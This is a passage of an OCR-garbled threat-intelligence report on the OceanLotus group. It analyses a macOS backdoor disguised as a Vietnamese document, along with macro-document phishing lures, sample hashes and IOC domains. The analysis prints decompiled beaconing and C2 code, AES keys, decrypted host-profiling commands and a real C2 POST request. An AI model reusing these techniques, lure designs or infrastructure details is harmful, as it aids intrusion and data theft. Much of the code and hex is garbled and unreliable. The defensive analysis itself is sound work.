MName ~ Date Modified Size Kind
v [ Contents Yesterday, 11:30 PM -- Folde
v [ _CodeSignature Yesterday, 11:30 PM -- Folde
B CodeResources Jan 18, 2005, 10:00 PM 2 KB Unix ¢
| Info.plist Jan 18, 2005, 10:00 PM 874 bytes prope
v [ MacOS Yesterday, 11:30 PM --  Folde
B Don khieu nai Jan 18, 2005, 10:00 PM 7O KB Unix ¢
B Pkglinfo Jan 18, 2005, 10:00 PM 8 bytes Unix ¢
v [ Resources Yesterday, 11:41 PM -- Folde
M configureDefault.def Jan 18, 2005, 10:00 PM 5 KB Docul
info.icns Jan 18, 2005, 10:00 PM 47 KB Apple

Because iconFile in info.plist points to the iconFile of a doc, as shown below:
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E] Info.plist X -

<%xml version="1.0 encoding= UTF-8 2>.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
“http://www. apple. com/DIDs/PropertrList=1. 0. dtd >y
<plist version="1.0 >4

<dict>y

<key>CFBundleExecutabled/ker>{
<string>Don khieu nai¢/string>i
{key>CFBundlelconFilel/ker>
<string>info. iens{/string>L
¥ ‘ker>l
<string>com. apple. files</string>}
<ker>CFBundleName<{/ker> 4
<string>com. apple. files</string>}
<key>CFBundlePackageTrpel/ker> )
<string>APPL{/string>y
<key>CFBundleShortVersionString<¢/ker>l
<string>1.0¢/string>!
<key>CFBundleSupportedPlatforms</ker> )
<arrarfi
<string>Mac0SX</string>4
</arrar>i
<key>CFBundleVersion</ker>l
<string>1.0¢/string>!l
<key>LSMinimumSystemVersion{/ker>{
<string>10.6</string>y
<key>LSUIElement</ker>{
<true/>L
<key>NSHumanReadableCoprright</ker>4
<string>Coprright © 2013 Apple. All rights reserved. </string>}

3

[ Resources

= 00 o = v || 2
l‘:-.‘

DOCK T

configureDefault.de C L
f info.icns

The following is the signature information of the sample, as shown in the figure:
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Identifier = com) apple) files«

Format=hundle with mach-o thin (x86_64)«

CodeDirectory v=20200 size=439 flags=0x0{none) hashes=15+3 location=embedded+
Hash type = shal size = 20«

CDHash f54c13237d538cd3d885062e11c306b01d858f = 80+
Signature size = 8522+

Authority=Developer |D Application: DAVID DOWELL (BSYHEVDVRE)+
Authority = Developer ID Certification Authority+

Authority = Apple Root CA+

Timestamp=5ep 13, 2018, 3:57:09 AM+

The Info. The plist entries = 11+

Teamldentifier = BSYHEVDVRE+

Sealed Resources version=2 rules=12 files=2+

Internal reguirements count = 1 size = 208+

After the sample is executed, three directories will be created in the Library directory:
LaunchAgents

Media

Video

Install an application named LaunchAgents to start up:

DT FLIST 1.84/EN" "http:

The application points to the mediaagentd program in the Video directory:
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At the same time, the previous directory was replaced by a real docx file, to achieve a diversion:

0@ | Don khieu nai.docx —

iw Courier New = || Regular bl | v @ & B I U EE = =EQR10 ) =
T T T T T x

lg 1 I3 lg Iy

fed<ie e, af AE @ q03,a5 ©p3,a 9 3 903 +a§ 993 eaf ke

Ae TA3,rda  T03<ea” 783 =37  wekAkd R %, 5¢u <}

AR §e34af  9i3£a§ 9344 ge3<af § Jéc, 2L K& 3

03,485 §b3, &  90¢ ax 303 +a§ D3 i G03<ed”

703 #a~ hekAkde,$3E 3] fA %, $eu <}

AR §e344af  913£a§ 913447 fe3<af Tid<as  g&3<a Téc, a8 K& %

qU3,a5 T3, a7 90c ae 903 «as : 3,0de G03<ed”

383 =37 e, 538 3] FA B, 5cu )

AR 9é344F  U134a§  gi344°  9&3<ag i3<a§  T&3<a« Tee, 38 K& &

03,45 §b3,a  90¢ ax 703 +as Ae Ae A3, rax  G03<ed

783 #a" ¢, $3IE 3] fA %, %¢u <}

AR ge3dap 913435 i34 TeI<af Ti3<a5  TE3<dx Tic, &L A& % T @8

03,35  gb3,3a7 90c a« 903 =a§ Eg A& 9A3, =a« I03<s3dT gRILsds

983 «a37 ¢, 338 3] FA %, %cu <}

AR geddaf  134as 913447 féd<al Ted<ax Téc,af A& % y§ 288

g3, a8 gb3,3 90¢ a« 903 -a§  g23 Ae 9A3E, =a« I03<«a”  GB3Led«

783 #a" ¢, $3IE 3] fA %, %¢u <}

AR ged4afr 9134a5  9i344 S&3<atl TE3cax Téc, it A8 i

03,45 §b3,a  90¢ ax 703 +as Ae Ae A3, rax  G03<ed

983 «37 ¢, 338 3] FA %, %cu <}

AR §e34af  913£a% 913447 gé3<ag g TE3<de  Gec,af Aé 3

U3, 26 983,37 90« d« 903 =35 93 .3 Ao A& 9A3, easx 903<.3”

83 =37 (53E 3] FA %, 5eu <}

AR Teéldat 1343%  §i34a  9e3<af  Ti3<d$  fE3<ax  Tec,af H& i

03,45 83,4 90c d« 903 +a%5 923 kaf A& Ae  OR3, sdx T03<ed

783 #a" ¢, $3IE 3] fA %, %¢u <}
AR g&34a0 gi3ia- gi34a;  ge3<al Tid<d . §83<as TGé¢,a* A& 3
g0z, a - gh3, a; q90¢ aw 903 983 «a* As Ae  qR3, vaw q03<ed;
Llex] *8; %Wé¢,53E 3] «T% & %2 Br &
1815 «M\5
<t$ ¢ |§ FR AFi w1$ BAS
BES RIS «tf ¢ <™ <N ¥

Tan

LI ] CL T R TP T2

The released mediaagentd program is shelled and will be loaded and executed in memory after decryption:
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1[_int64 _ usercall start@i<rax>(_ int64 al@<rbx>, _ int64 a2@<rld>, _ int64 a3@<r8>, void (_ fastcall *a4)(_QWORD, _QWORD, _QWORD, _
21

3| unsigned int va; // ecx

2| unsigned _ int64 v5; // rax
5| unsigned int w63 // edx

6| unsigned _ intl6 *v7; // rbx

7/ __inte4 (_ fastcall *v8)(__inte4, _ inted); // rl5
M !

char v18; // [rsp+16h] [rbp h]

9| _ inte4 savedregs; // [rsp+aeaeh] [rbp+eh]
10| void *retaddr; // [rsp+4848h] [rbp+8h]

1

12| v4 = *(_DWORD *)(((unsigned _ int64)start & OxFFFFFFFFFFFFO00OLL) + 0x10);

13 if (va)

14| {

15 (unsigned _ inte4)start & BxFFFFFFFFFFFFE@BELL | @x28;

16 o;

17 ( *(_DWORD *)v5 != 25 || =(_QWORD *)(v5S + 18) != 6073460636892678476LL )
18

19 +HUE;

20 vS 4= *(unsigned int *)(v5 + 4);

21 if (6 >= w4 )

22 goto LABEL_18;

23 ¥

24 *(unsigned _ intl6 **)(v5 + 24);

25 a. (__int64)v7 + *v7;

26 a4 = (void (_ fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD))(v7 + 1);

27 do

28

29

E]

31 1

32 while ( 1s2 )3

33 al = (__int64)v7 - a2

34

35LABEL_16:

36 m = (_ints4 (_ fastcall *)(_ int64, _ int64))sub_F@BBRSFD(al, a2, (  int64)&v10, Ox4006LL, a3, a4, &savedregs);

37| “Sub_Fee@pear7E();
38| retaddr = (void *)(signed int)retaddr;

48[}

The unshelled MACOS file is as follows:

@ Hex View-1

BBBBBBBlBBBBBBBBI CF FA ED FE @7 ;ﬁ @9 81 63 09 06 80 B2 @B B0 BB  ................
3000000100000010 G2 88 B85 00 01 00 B0 88 B0 B8 ....H...........
J0EEEE01E00EEE26 19 60 ©@ @@ 48 B0 6@ @@ 5F 5F 58 41 47 45 5A 45 ....H..._ PAGEZE
JepopRpolopoepEse 52 4F OO B0 00 00 0D G0 00 OO 0O OO OB 0B 80 88 RO....
I0EERA1EEEEEE4E ©0 OO B0 G0 01 A0 G0 GG 00 00 GO OO BB 08 0O @B

JepopRolopoepEce 00 B0 0D B0 00 00 0D 00 00 00 0O B0 DB 88 BO BB

I0AEERA1EE0EEEEE ©0 OO B0 O 00 00 B0 GG 19 09 66 B8 (3 @2 00 @8

Jepopeolegoepe’e  SF SF 54 45 58 54 60 68 00 00 00 00 DB 88 B0 BB

I00EERA1EEEEAEEL ©0 OO B0 G0 01 A0 G0 B0 @0 70 A1 00 08 00 BB m |
JepEoaaleaeanEcs 00 00 o0 G0 00 00 00 68 00 70 61 00 08 68 80 60

I0EEERA1EEEEEEA @7 OO B0 G 65 00 00 GG 65 00 G0 0O BB A6 80 6B

JepeoaaleseansEe SF 5F 74 65 78 74 60 08 00 00 00 00 0B 00 00 60

300EERA1EE00B6CE SF SF 54 45 58 54 60 668 00 00 GG 00 BR 06 00 6B

JepepaaleseansDe (8 OA 00 80 @1 60 80 68 Al 6C 61 o0 o8 68 80 6.

300EERA1EE0CEEEE (B BA B2 G0 64 00 G0 GG 00 00 GG OO BB GG 80 6B

JepEpaaleaeanere @8 ©4 o0 S 60 60 00 00 00 00 00 00 DB 00 80 60

IppEERA1EEEEA1GG SF SF 73 74 75 62 73 68 00 00 GO 00 B2 06 00 6B

Jepeoaaleseaalle SF S5F 54 45 58 54 60 66 00 00 00 00 00 00 00 60

J00EE00160000120 62 17 @1 G0 01 00 G2 08 5B 02 G0 00 DD 00 00 6B

At the entrance of the file, there will be a while loop, which will collect computer information and send it, enter

the loop function of remote control, sleep for a random period of time, and continue the repeated process:

1jvoid _ fastcall _ noreturn sub_18@@116E8(__inte4 al, char **al)

3 char *v2; // rbx

4 size_t w3; /f rax

5| __inte4 wv4; // rax

5 unsigned int w5; // eax
int ve; // eax

9 fun_@etFileName(*z2);
18 w2 *a2;

11| v3 = strlen(*a2);

12 bzero(vz, v3);

13 sub_l8@BBF4EE(v4);

14, while ( 1) // curlsendInfo

15| {

16 if ( fun_MainSendInfo() )

17 fun_MainLoopInfo();

18 US = time(@LL);

19 srand(vs);

20 ve = rand();

21 sleep(ve - 36 * (((unsigned  int64)(@x3BE3BE3LL * ve) >> 63) + (Bx3BE3BEIOLL * v6 > 35)) + 18);
22

23}

Many of the internal strings are encrypted. The following is where the encryption function is used:
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"I xrefs to fun_DecodeStr L Cl ﬂ—hj

Directir| Ty Address Text m
Up p  sub_1000033A0+353 call fun_DecodeStr

Up p  =ub_100003EZ54+33 call fun_TlecodeStr

E Up p =ub_lO0003EZS+ES call fun_DecodeStr

g Up p  sub_100004190+AF call fun_DecodeStr

E Up p =ub_100004190+1CF call fun_TlecodeStr —
E Up p sub_1000044DE+AS call fun_DecodeStr

g Up p  sub_1000047TOHS6E call fun_DecodeStr

E Up p =ub_100004770+83 call fun_TecadeStr

E Up p sub_10000444C+ET call fun_DecodeStr

E Up p =ub_100005336+53 call fun_TecodeStr

E Up p =ub_10000S1104F3 call fun_TecadeStr

E Up p  sub_100005494+5E call fun TecodeStr

E Up p =ub_100005494+146 call fun_TecodeStr

E Up p cub_100005494+22E eall fun_TecodeStr

E Up p sub_100005494+290 call fun TecodeStr

E Up p =ub_100005494+209 call fun_TlecodeStr

E Up p c=ub_100005494+433 eall fun_TecodeStr

52 Up p  sub_tODOOSECE+1OF call  fun DecodeStr =
E Up p  =ub_10000SE1G+4T call fun_TlecodeStr

E Up p =ub_lOO0OSE1GHCF call fun_DecodeStr

E Up p  sub_100009004+99 call fun_DecodeStr

E Up p  =ub_1000091BZ2+4E call fun_TlecodeStr

E Up p =ub_l0000FZ15+6E call fun_DecodeStr

E Up p  sub_10000F306+55 call fun_DecodeStr

E Up p  =ub_1O0O00OF40E+ST call fun_TlecodeStr

Up p sub_lO000F4ES+ED call fun_DecodeStr

E Up p fun CurlXXEE+1SE call fun_TecadeStr

= p fun CurlZE2+AD call  fun DecodeStr

=) I p fun CurlZ2224+141 call fun_DecodeStr

E It p  fun CarlZ224238 call fun_TecadeStr N
L-y: I p  fun Cuwrl33334D5 call fun_DecodeStr A

[ 0K ] [ Cancel ] [ Search ] [ Help
Line 33 of 39

The decryption method is mainly through CCCrypt, and the algorithm is aes, iv is 0, as shown in the figure:

bzero(&v24, @x3ESuLL);

bzero(&v23, BxFull);

sprintf(223, "¥1d", v7);

21 = *(_OWORD *)™\a9E D5 \x6D\xAC\xBF 1 \n\xD4\x59 \x 1FN\XFF \xC8\xFE\xBAV" ;

a;
char *)fun_Deco int64)! 16LL, (__int64)&unk_180017308, dword_1888173E4, 8);

L &v23);
Y EARFANX

o
r *)fun_Decodest

strcat(&v24, va); V7 = 8LLs

if (v sub_18801134§(a1, 22, (void **)&v7, (size t *)&E, (const void *)a3, a4, @, a5);
free(v9); cess 7

std::string: :string(& =( o

sub_100062508( (std: return res

10 = vid - 24;
if ( (_UNKNOWN *}(v14 - 2 -
88 _InterlockedExchange 62 if ( I(unsigned int)CCCrypt(a7 ~ 1u, @LL, 1LL, &26, 32LL, OLL, V16, v1f, VIS, vi2 + 32, v23) )
63 {
std::string::_Rep::_M_d 64 alloc(*v24, *v23 + 1);
5 = 18;

streat(8v24, &v18);
#(_OWORD *)™ +L7\xE 67 =

o 68
= (char 69 2 | (unsigned _int8)(a7 ~ 1)) )
streat (& 70
if (vi1) 71 sub_10801@B5E( (_ int64)vis, vid);
free(vil); 72 247 )
return system(&v24); 73/
74 Free(*v24);
00002858 sub_{00002TSE: 48 (10000 :2 ) *v24 = OLL;

“ing::string(_QWORD, _QWORD, _Q

AES encryption key (HEX) : 4 e620abedafb4d9866cc9d9c2d29e2d7eal8adf1 32-bit zero padding enough:
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| data:eeeeeee1ea8173C4 align 1&h
__data:eeeeeeleeal7308 unk 188817308 dH 4Eh ; N
___data:eeeaee8108617308

__ data:eeeeeeeleaal73Dl db 62h ; b
___data:eeaa888188617302 db @Ak
___data:eeeaee81ea817303 db BBEh
__data:eeceeealea817304 db @Dah
___data:eeea288188617305 db @FEh
___data:eeeoee81086817306 db  4Dh ; ™
__data:eeeeeeeleaal73ny db 98h
___data:eeaa288188617303 db B6h ; T
___data:eeeaee81e8617309 db ®CCh
__data:eeeeeee18a81730A db 9Dh
___data:eeaa880128617306 db 9Ch
___data:eeeaee81ea61730DC db 2Dh ; -
__data:eceeeealeaal?300 db 29h ; )
_ data:eeeeeeeleaal730E db BE2h
___data:eeeaee81e881730F db @07h
| data:eecse001088173E0 db BEAR
_ data:eeeeeealeaal73IEL db 1Bh
___data:eeeaeee1eaa8173E2 db @ADh
___data:eecss001088173E3 db @Flh

The decrypted data is as follows:

0x100014170 touch -t 1

0x100014190 4

0x100014150 “ 7 [dev/ralls

0x100014250 2814

0x1000141 £0 2>/devinull & sleep 4
100014220 : kill §! > fdew/rull 27814
0x100014270 2% dewfrull s

0100014290 4

0100014250 fprivatel

0x10001420 system_profiler SPHardwareDataType 2>/dev/mull | awk */Processor / [split (0, line, ":"); printf (“%s", line[2]);}" 4+
0x100014360 machdep. cpu. brand_stringt
0x100014580

Ox100014330 ifconfig "4

0x1000143b0 “ | awk ' fether /{print $2}"
0x1000143:0 ifconfig -1+

0x1000143e0 ifconfig -1&

0x10001440 enlll

0x100014900 +

0100014520 /System/Library/CoreServices/SystemVersion plistl
0x1000145£0 dstringdt

0x100014610 &fstring?t

0x100014630 Mac 0SX 1

010001440 scutil =-get ComputerName!
0x100014650 uname ~md

0x100014670 xB86_644

0%100014500 ioreg —rdl -c IOPlatformExpertDevice | awk * /TOPLatforsWUID/ { split (30, line, “\"“); printfC"%s", line(4]); V4
0x100014550 ré

0100014840 http /e

0x100014860 curl/7.36. 14

0x100014840 http /fL

Ox100014860 curl/7.36. 14

0x100014520 fdev/malls

0100014540 http ffL

0100014560 curl/7.36. 1«

And the information collected is encrypted by AES and sent through the CURL library:
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29 curl_easy_init();

L) )

31

32 ring((std::string *)&15, al);

33 D *) " \xBOWKEDWARNKDAC \XB4\x35 \XF 7 \xF A\XEF \XEB\E W@ 1 p\xAL\x93 "5
34, 5

35 (const char *)fun_DecodeStr(( int64)&v21, 16LL, ( int64)&unk 188017308, dword 108@173E4, 8);
36 (char *)vs;

37 v7 = strlen(vs);

38 if ( std::string::find((std::string *)&15, v6, BLL, v7) == -1LL )

39 {

40 sub_1808040C0((std::string *)&v14, ve, (std::string *)&v1s);

41 std::string: :assign((std::string *)&15, (const std::string *)&v14);

42 vE = vl4 - 24;

43 if ( (_UNKNOWN *)(v14 - 24) != &std::string:: Rep:: S5 _empty rep storage
44/ 8% _InterlockedExchangeAdd((volatile signed _ int32 *)(vi4 - 8), @xFFFFFFFF) <= 0 )
a5 {

46 std::string::_Rep::_M_destroy(vs, &v18);

47 T

48 T

49 if (w6 )

e free(ve);

51 curl_easy_setopt(v4, CURLOPT_URL, v15);

52 curl_easy setopt(v4, CURLOPT WRITEFUNCTION, sub_18@@BFE9A);

53 curl_easy setopt(v4, CURLOPT FILE, &v16);

54 curl_easy_setopt(v4, CURLOPT_TIMEOUT, *((_OWORD *)v2 + 1));
55 v19 = *( OWORD *)"BG\xBI\XCF a3 \xFBR\x19RY\xCE\K7F\xF11x9482x";

@;
ve = (void *)fun_DecodeStr((__int64)&v12, 16LL, (__int64)&unk_100017308, dword_1@@@l73E4, @);
58 curl_easy setopt(v4, CURLOPT USERAGENT, v9);
59 if (v9)
58 free(vo);
61 if ( *((_BYTE “)v2 + 24) )
62 curl_easy_setopt(v4, CURLOPT_COOKIE, *((_QWORD “)v2 + 2));

v1e = curl_easy_perform(va);

"

vI1) »> 63) + ((unsigned  ints4)(1431655766LL * v11) 3> 32)) + 1);

72 if ( v1@ == CURLE_OK )

74 curl_easy_getinfo(v4, CURLINFO_RESPONSE_CODE, &v13);

The message distribution function of remote control is as follows: different operations will be performed

according to its own token in the first place. The following is the operation of listing the directory:

598 if ( u26 = 'r" )

599 {

700 vie = 1;

781 vs = (char *)&v153;

782 pthread_create(&v&2, &/153, sub_18@@@BCEE, v24);
783 goto LABEL 165;

784 }

785 1

706 else if ( v26 == "#' || vi6 == "< )

787

708 vie = 1;

709 VS = (char *)&v153;

718 pthread_create(&v34, &153, (void *(__cdecl *)(void *))sub_10@@@B654, v44);// list dir
711 goto LABEL_165;

712 1

713 if ( *va6 )

714 operator delete(*v46);

715 vs2 = (void *)(*v45 - 24LL);

716 if ( v52 l= &std::string::_Rep::_S_empty_rep storage
717 88 _InterlockedExchangeAdd((volatile signed _ int32 *)(*v45 - 8LL), @xFFFFFFFF) <= @ )
718 {

719 vs = &v152;

The key used for data transmission is different from the key used for decryption string. The following is the

encryption key for data transmission:

07e74£f2ce9688c8f79b91ab32c95d11c140d3ac

_ data:eeeeeeele00173Fe unk_1000173F@ db 7 ; DATA XREF: fun_MainSendInfo+Fa@to
_ data:ecee0ee1000173F0 3 fun_MainSendInfo+282to
_ data:@eee0801888173F1 db 2E7h
_ data:eeee0e01000173F2 db 4Fh ; 0O
_ data:eeee0001000173F3 db @Fzh
_ data:eeee0001000173F4 db @CEh
_ data:eeee0001000173F5 db 96h
_ data:@0000801008173F6 db  28h
_ data:eeee0001000173F7 db @Csh
_ data:ecee0001000173F8 db @F7h
_ data:eeee0001000173F9 db 9Bh
_ data:eeee0001000173FA db 91h
_ data:00000801008173FB db @aEBh
__data:@e@eepe188e173FC db 32h ; 2 |
_ data:eeee0e01000173FD db @Csh
_ data:eeee0001000173FE db 50h ; ]
_ data:eeee0001000173FF db 11h
__ data:0060080100017408 db &C1lh
_ data:eceeseelessl7ial db 48h ; @
_ data:eceeseelessliiez db @D3h
data:0000000100017403 db @ACh

And some string decryption algorithms use base64 decryption first, then aes decrypt:
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| _int64 _ usercall
2t
_ int64 v3; /f [rs

_ int64 al@<rax>, __inth4 a2f@<rdi>)

Wk

s

v3 = als
std::string::string(
a2,
" x]cHsS4+nUuDthw2r‘E 1syBoeB800HwxgAtInTON2Imdg@Pnsefuqadb9CeovGrGaibsy/abMhfan /IB/ERwFEI==",
&v3);
return a2;

5

4 = strlen(v3);
v5 (const char *)fun_DecodeStr({_ int64)v3, w4, (_ int64)&unk_1668173D8, qword_lml?}E

32| v6 = (char *)v5;

33| w7 = strlen(vs); 1 means baseB4 encode

34 std istring::assign(this, v6, v7); 0 means not basefd encode

= @;
(_intﬁ-"»)fun_ﬂaseﬁ-tl(ai, a2, &v25);

® W R

58 }

62 if ( '(un;lgned int)CCCrypt(a7 ~ 1u, @LL, 1LL, &v26, 32LL, @LL, vi&, vie, vi5, vié + 32, v23) )
63 /"

But the base64 used in the decryption is not the standard base64. The following figure shows the base64 table of

the malicious code:

const:@eeeeea1eee1495e ; char aljklmnopabcdeffeal
const:eeeesee1eee1495e aljklmnopabcdef db] IJKLMNUPABCDEFGHQRSTU\M}(ghljklmnYZabcdEfopqrstuv456?89+/\wx 8123
const:eeseeea100014958 DATA XREF: fun_BaseG4+3Ato
const:e0eeee010001499@ ; _BYTE byte_100814998[64]
const:e0ee080100014998 byte_leeel499e db "I°, ‘37, 'K, L7, "M’
const:0086800100014996
__const:0080800100014996

__const:B000000106614990 db ‘D', 'E', 'F', 'G", 'H’
__const :0000000100014990 db "W, X', 'g", 'h', 'i’
__const:8068000100014998 db "Z", '&a", 'b", 'c’, 'd’
__const:@28800010080814990 db "s", "t", ‘u', 'v', ‘4’
__const:Beeeeesleenl499e db "/, wh, T, 'y, 'z]
__const:80800801060814996 _ const ends

he encrypted data is sent to C2, as shown in the figure below:

C2: web.dalalepredaa.com

rStream Content

POST /store/ads/modal. css HTTP/1.1

Host: web.dalalepredaa. com

User-agent: curl/7.36.1

Accept: */%

Content-Length: 334

Content-Type: application/x-www-form-urlencoded

[.. {US P T S I +.m
d..k 09 ..

-Z. . < 7{ ..... -

It is worth noting that some of the recent Mac samples of hibiscus were found to have signatures. After

deduplication, we found two commonly used ones:
Melinda Cline (P74QRJXB2F)

DAVID DOWELL (B5YH6VDVRE)
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Office Documents

Through correlation analysis, it is found that the macro document sample and a large number of samples have the

same origin.

As can be seen from the comparison case below, the content of the document was created at the same time and by

the same author.

[ 8e13895504es43cd89t)es’b25bd6bkt-t {aﬁj b1df44005dd64Fac0f 70700093 2f e doo [E¢: (e
B [Ze | HEES [LEeuRE| '\T—%—:ﬂ |Z=e | HEER [LlEREE

Eit {# i Eit & i
wE =i

iR | = |
& N Tushar {E& Tushar

RERiREE BE—FIEE  Windes User

12115 2 L IS 7 =
mEs - 15 )
TR Microsoft Dffice Word EEE Microsoft Office Word

2]

EEE 4
BEEFERRTE E018/8/22 18:24
e e =

T

BRI TEONE eIt hiiate

[EH-niE 00:02:00 1 LEERTiE 00:07:00
RE HE
FIES FIEARS
[kl kel
EEEE 1 2 ' OEEE 5 =
b3 S WA A (R
I
Em) | AW

The following figure is the template feature, template file name is very OceanLotus characteristics.

@ | 8e13895504e643cd83038’b25bd6bkﬂ£ [ o b1df440e5dd64Fe0f7e7829032f4c.docx EtE [

B [E2 | FERS  LEREE| |20 [=a |#EEE e
B ] e Bt i o
FTEL L FFE rl4dal
T8 1 T8 5357
Eﬂ?ﬁﬁ' 3 1 Eﬁ”ﬁﬂ 1577

[ {Ein vnitimes. png 1R fd=w. png

i = Tt =
fidaL i TIg? = g T &
B B
prls B
Foi 132 KB Foil 555 KB
HEEEHA 2019145 11:01 — el =) ) 019/2/1 19:05 —
[ =) ) 2019/1/5 11:01 EMERR 2019/2/1 19:05
hialE4A 2019/2/12 15:49 gl EkA 2019/2/12 15:27
FANEIFAY L [ | EAEIRE |
BAAATS i RS i
H50E faat
HEA, TEST (A1) HEA, TEST (4]

A A fE e l b3 (S E
Il
M) | i W)

After analysis, we found that we summarized the author names commonly used in the attack documents of

OceanLotus, among which the largest attack activities were "DEV" activity and "Tushar" activity.
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Alibaba Google

blue:Author or changer
crange: computer name

PR e Ll £l bk T
BEEARBNEREFDERNENLE

After correlation analysis of various dimensions, the document name and Hash value involved in this series of

malicious macro file launching activities can be obtained.

The document name

The document name

Test. The doc
Scan_Mau_Ao_Thun. Doc
The Content marketing Kaspersky. Doc
Doc. Doc
LY_ANH_TRUNG_CV. Doc
LY ANH TRUNG CV. Doc
LY_ANH_TRUNG_CV. Doc
LY_ANH_TRUNG_CV. Doc
CV - DucNguyenMinh. Doc
CV, Nguyen Minh Duc. Docx

Danh sach can bo vi pham.doc

Danh Sach Nhan Vien Bien Thu Tien Cong Ty. Docx
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MD5

5 c9ef8b5263651a08ealb79057a5ee28

b858c08cf7807e462ca335233bd83fe7

¢313f8a5fd8ca391fc85193bc879ab02

473 fdfefa92725099ca87e992edbc92c

02 cec2f17a7910b6fa994£340bbbc297

dd5ae0c0a7e17d101£f570812fecde5ed

90 e5ff68bf06cb930ed8c040139c4650

6 db450c4c756071ecafff425d6183d7d

cb39e2138af92c32e53c97c0aa590d48

8 €13895504e643cd8e0e87377b25bd6b

d3c27f779d615a1d3a35dff5e9561eb0

27425360 d18feea54860420006ea9833
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Danh Sach Nhan Vien Bien Thu Tien Cong Ty. Docx cf0142da12509f544a59093495c3a6dd
CV - AnthonyWei - the CustomerService. Docx b1df440e5dd64ffae9f7e792993f2f4c
878 fa022bd5e5caf678fe8d728ced2ee

f78be074f6bc67a712e751254df5f166

Ho Chi Minh. Docx e2aed850c18449a43886fc79b342132f
DS - Card - ChienThang - TraVinh docx 74 b456adf2ae708789fb2d34ecccb954
HopDong - XXX - TP - 092018. Docx 72263750 df84e24fe645206a51772c88
BBLV_ASC_DG_092018. Docx 3 a574c28becadf3c94d30e3cf3979f4c
Indo. Docx ee836e0f7a40571523bf56dba59898f6
Danh sach cacnhadatadutranhbib 2.9. Doc f6068b672a19ce14981df011a55081e4
1 00ac0d7337290b74bdd7f43ec4a67ddb

After analyzing the bait names of these samples, each has its own characteristics

1, the name has political characteristics: arrested activists list

i

dEgE EE v o =

=

i
b
TH
il

R

Danh sach cac nha dau tranh bj bat 2.9 © x  WEETMALTEE29

Include resume trolls

MINH DUC NGUYEN .

Vi°®@ W'CGY.E® .
EXPERIMENT.

@ ! p2A>VOREVAESY 1000 @OIIBE].

" deZMsa  [INer/3 FET&GE°D* 207kM3-
> EZi"agNl-~E; UrioeV; 4,8 \§Kal=40=5\p§ou¥
I SOt T=zlr~ FE U WEEWTTk % -

om*a_LOUC 23F «

uE2ASVOR EVAEY 1I0U0 gOlRET
e BEcE| el {ERO Hp! TTIONE 6 TvEg | 72

Can be linked to an email analyzed by @vupt_bka security researcher using the OceanLotus resume phishing.

https://twitter.com/vupt bka/status/1083653486963638275
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From: Minh Duc Nguyen [mailto:minhducs.ng@gmail.com]
Sent: Monday, September 24, 2018 3:48 PM

To:

Subject: [APPLY CV AT - NGUYEN MINH DUC]

To whom it may concem,

My name is Minh Duc,

After reading and researching the position vou posted in Machine Leaming Forum on Facebook. I'd like to express my interest in applving.
With hishly proficient in Data anabyvtics and strongly in Python [ am more than confident and ready to be an collaborative member in vour team.
Also, I've attached my CV i this email

I'm looking forward to hearng from you soon.

- dure nguy
Click 1o foll

(Mr). Minh-Duc Nguyen

3. There are some documents showing the startup of the induction macro, which are inconsistent with the previous

induction interface.

- n Microsoft*

Office

THE DOCUMENT HAS BEEN IRM PROTECTED
BY POLICY OF MICROSOFT!

1. Open the document in Microsoft Office.

2. If this document was downloaded from email, please clic
“E " from the yellow bar above.

3. Once you have “Cnable ", please click
or” " and choose “I'na ent” from the yellow bz

L
-
-

i

]
|
J

.r':I ]

In addition, historical samples are also different from the latest sample technology. As shown below, some
historical samples do not use template injection technology, but use direct macro code execution method, and the

code to be executed is shown in the document content, namely the OHN macro code mentioned in the section of

sample analysis.
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S

ProtonMail

Document is protected by ProtonMail

To wiew this content, please click “Enable Editing” from the yeliow bar and then click “Enable Content™

After correlation analysis of the macro samples mentioned above, it can be found that the earliest such
attack was in 2017. The bait document uploaded by Vietnam was a test sample with a high probability from

the file name.
SAMPLES 08 _11__12_2017 (317).
c4d35£3263fef4a533e7403682a034c3

4, the highest frequency of the Vietnamese file protection bait series
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@ MlClosoft W01d 2016

Tai liéu nay da woc Ivru trir dwréi phi€n ban khac vai phién ban hién tai cuia trng dung
Microsoft C cem noi L phai kich hoat tinh nang tuwong thich
vo1 phién h an hién tai cach nhap vao nut “ +

Compression Files

In the process of analyzing a Thu moi 209.rar sample of OceanLotus, we found that the generation time of the

sample was suspected to be a custom suspect

4r [0 := | 8 Thu moi 2019.rar\Thu moi 2019 - B/ 4483 KB -
ER Rl s =3 EMEH

- (ERES) =
[#|Thu moi tham du hoi nghi tai toan quoc. Cong hoa xa hoi .. 339.3KB 1144 KB MEER
[ wwlib.dll 1090KB 59.6KB RIFERTE 2016-02-01 05:17

As seen from the upload time of the sample, the upload time to VT is March 1, 2019, and the time difference in

the compressed package is too large.

0
"]
" )
| |
A

2019-03-01 01:49:05
2019-03-01 01:49:05

[Ty
L

[ ]
3
[T5)
[¥¢]
[
k|

Therefore, after correlation capture of this time, we found multiple correlation samples of OceanLotus.

The file name MD5

60982849 - c8e4-4039-8 £59 - dfb78d8bab0d

15 f5adf1-8798-49 bf - a6c3d90b69e b666-4 bcbelbef20d2befdd290e31269e0174a
4052 d2e7 - cd4 ca42-4-8841-52 £782bbad11 dfaa343552e8d470096a0a09a018930f
Ffea6446 - e47 ab7a - 4 - b71f - e461f9775177 9 b1lce9df321ce88ade4ff3b0ada5d414
5d47e097 - c3bc - 401 - e - 8 cOf - e877280b368a dal4eece6191551a31d37d1e96681cd1
Thu moi 2019. Rar 76289f02a0b31143d87d5e35839fb24a
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Therefore, it can be further confirmed that the OceanLotus group will customize the sample generation time, and

batch generation of samples for delivery.

Conclusion

This report covers a large number of attacks on Indochinese Peninsula countries and the resources used by the
OceanLotus Group, revealing its endless history of attacks, extremely wide range of targets and very creative
technical means. In attacks, the group was always changing baits, payloads, AV evasion techniques, even domain

names assets are constantly evolving, reflects a very strong ability to fight and attack will.

Therefore, when we are tracking the attack activities of OceanLotus against China, we extend our understanding

of the TTP of this notorious group. This process will never end.

10Cs

Domain names:
syn.servebbs.com
word.webhop.info
beta.officopedia.com
outlook.updateoffices.net
outlook.betamedias.com
outlook.officebetas.com
office.allsafebrowsing.com
open.betaoffice.net
cortanazone.com
b.cortanazone.com
cortanasyn.com
api.blogdns.com
dominikmagoffin.com
blog.artinhauvin.com
worker.baraeme.com

kingsoftcdn.com
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style.fontstaticloader.com
plan.evillese.com
bluesky2018man.com
enum.arkoorr.com
background.ristians.com
pong.dynathome.net
zone.servehttp.com
cdn.eworldship-news.com
api.blogdns.com
